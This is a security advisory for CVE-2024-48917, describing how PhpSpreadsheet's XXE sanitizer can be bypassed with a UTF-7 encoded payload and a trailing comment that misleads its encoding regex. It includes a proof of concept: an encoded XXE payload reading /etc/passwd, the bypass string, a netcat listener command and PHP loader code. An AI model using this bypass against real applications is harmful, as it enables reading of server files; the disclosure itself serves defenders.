CVE-2024-48917

Description

### Summary The [XmlScanner class](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php) has a [scan](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L72) method which should prevent XXE attacks. However, we found another bypass than the previously reported `CVE-2024-47873`, the regexes from the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method, which is used for determining the current encoding can be bypassed by using a payload in the encoding UTF-7, and adding at end of the file a comment with the value `encoding="UTF-8"` with `"`, which is matched by the first regex, so that `encoding='UTF-7'` with single quotes `'` in the XML header is not matched by the second regex: ``` $patterns = [ '/encoding\\s*=\\s*"([^"]*]?)"/', "/encoding\\s*=\\s*'([^']*?)'/", ]; ``` A payload for the `workbook.xml` file can for example be created with [CyberChef](https://gchq.github.io/CyberChef/#recipe=Encode_text('UTF-7%20(65000)')&input=Pz4KPCFET0NUWVBFIGZvbyBbCiAgPCFFTEVNRU5UIGZvbyBBTlkgPgogIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgPl0%2BCjxmb28%2BJnh4ZTs8L2Zvbz4K). If you open an Excel file containing the payload from the link above stored in the `workbook.xml` file with PhpSpreadsheet, you will receive an HTTP request on `127.0.0.1:12345`. You can test that an HTTP request is created by running the `nc -nlvp 12345` command before opening the file containing the payload with PhpSpreadsheet. To create the payload you need: 1. Create a file containing `<?xml version = "1.0" encoding='UTF-7'` in an XML file 2. Use the link attached above to create your XXE payload and add it to the XML file. 3. Add `+ADw-+ACE---encoding="UTF-8"--+AD4-` to the end of the XML file, which is matched by the first regex. ### PoC [payload.xlsx](https://github.com/user-attachments/files/17375792/payload.xlsx) - Create a new folder. - Run the `composer require phpoffice/phpspreadsheet` command in the new folder. - Create an `index.php` file in that folder with the following content: ```PHP <?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Xlsx; $spreadsheet = new Spreadsheet(); $inputFileType = 'Xlsx'; $inputFileName = './payload.xlsx'; /** Create a new Reader of the type defined in $inputFileType **/ $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType); /** Advise the Reader that we only want to load cell data **/ $reader->setReadDataOnly(true); $worksheetData = $reader->listWorksheetInfo($inputFileName); foreach ($worksheetData as $worksheet) { $sheetName = $worksheet['worksheetName']; echo "<h4>$sheetName</h4>"; /** Load $inputFileName to a Spreadsheet Object **/ $reader->setLoadSheetsOnly($sheetName); $spreadsheet = $reader->load($inputFileName); $worksheet = $spreadsheet->getActiveSheet(); print_r($worksheet->toArray()); } ``` - Run the following command: `php -S 127.0.0.1:8080` - Add the [payload.xlsx](https://github.com/user-attachments/files/17375792/payload.xlsx) file in the folder and open <https://127.0.0.1:8080> in a browser. You will see an HTTP request on netcat <http://127.0.0.1:12345/ext.dtd>. ### Impact An attacker can bypass the sanitizer and achieve an [XXE attack](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing).